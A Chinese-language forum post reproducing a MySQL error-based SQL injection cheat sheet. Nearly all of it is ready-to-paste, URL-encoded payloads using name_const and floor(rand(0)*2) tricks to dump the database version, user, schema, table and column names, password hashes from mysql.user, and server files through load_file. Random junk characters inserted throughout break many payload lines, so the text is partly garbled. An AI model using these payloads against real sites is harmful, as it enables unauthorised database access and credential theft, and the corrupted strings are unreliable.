找回密码
 立即注册
查看: 2405|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 5 G/ E+ O% t& |% B$ N& J

# O  e- R$ w* }  g: a* v7 B/ P3 ?$ h+ V
Mysql暴错注入参考(pdf),每天一贴。。。4 o- h9 s) Y- v6 P/ W0 y
) \# D0 R) p1 v2 \
MySql Error Based Injection Reference. v. x7 L# j% X% C$ V' M! Y
[Mysql暴错注入参考]
/ |; I3 r& L% o5 f7 W# u, p$ XAuthornig0s1992
! y/ z+ R* U3 [9 T; hBlog:http://pnig0s1992.blog.51cto.com/
1 Y% X3 h& v( ~+ F8 ETeAm:http://www.FreeBuf.com/
" N- B9 g  j: ^6 `* b) aMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
3 X# t6 Y$ W4 P小部分版本使用name_const()时会报错.可以用给出的Method.2测试
4 m5 j, Y1 Q$ k: E" j, `查询版本:/ d3 q9 \# {1 }1 u
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+" W4 t/ Q! S; }8 Z) }* r
join+(select+name_const(@@version,0))b)c)
2 ]3 y& \+ L! X4 {& T4 i! O' [; s8 S! hMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
0 ?" W9 [% N) A! _2 x% E/ d& v+ {up by a)b)
$ A& ?; A' B7 v5 p查询当前用户:
7 }# h7 G6 g. t' C& E+ I4 hMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)2 g% m% ], }# f- U2 A) I3 n# P- p
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r( P3 a9 F. u2 M; L+ d7 l; J
and(0)*2))x+from+information_schema.tables+group+by+x)a)
0 |- V7 l4 F. a6 M" `2 m, y查询当前数据库:
  P; G: E$ s: Z2 kMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
/ k9 G6 L# P- ^Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
/ ~+ H4 x6 C3 ~0 t9 ~$ ror(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
- h4 S& V$ F5 q依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+3 O0 g/ m" a7 \5 I. _
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n# N6 E% F: r( P8 a% P# ?. T  f
顺序替换/ x( i; |' ?! i' v3 v: ]
爆指定库数目:
; j3 Q1 f' u8 ~4 Y: ~8 M9 g& aand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
! k' h$ [' B: `2 ]: T5 S& aable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group  [8 l7 Q( A8 w/ z
+by+x)a)+and+1=1 0x6D7973716C=mysql
# ?7 ^1 d% S2 I* n7 u  ~依次爆表:
5 W/ a4 G1 `: [" j6 f' P( F: Fand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t5 B' H, G0 a" e- `5 ~/ M4 ]/ n6 A. K
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
  e* Y2 k0 O& @2 ebles+group+by+x)a)+and+1=1
- X+ q2 y- V. h0x6D7973716C=Mysql 将n顺序替换+ H+ x$ q1 Q1 T+ ?) E1 i3 E
爆表内字段数目:
2 T+ c. q- V- E4 K  @, T5 w3 P" Z1 iand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE" @# G( g& C5 Z. u, v; {
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
2 x% G8 J- r+ s0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
$ s( p+ e3 |' |依次爆字段:
, c- }$ @3 H* Rand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where3 M; N3 D2 M1 |) @0 @! L2 o
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,18 f5 k3 Q6 N2 Q3 d7 ?
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
! b; @2 S& d7 d' }依次暴内容:) ]! r4 G& R8 O! s
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
# P0 A1 A/ U: B" a' ~+ M$ I1 Zma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1" v# m8 c: M7 t5 k$ ^! I
将n顺序替换
& Z  d9 D. B& j) [0 A爆文件内容:
. g5 m' t% L$ M- W/ ?1 ?and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a# b1 f% Q, p- N1 F
from+information_schema.tables+group+by+a)b)
/ B) Y. D6 O- y: ]7 v, k% \0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节. C5 H' n% D; a4 `, k+ S* b
Thx for reading.
! ~5 [% ^# p+ R) S3 A9 B# {
9 {. L$ B) n; ~) b不要下载也可以,
- z7 A( _) o1 v, }  ]+ X) X

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表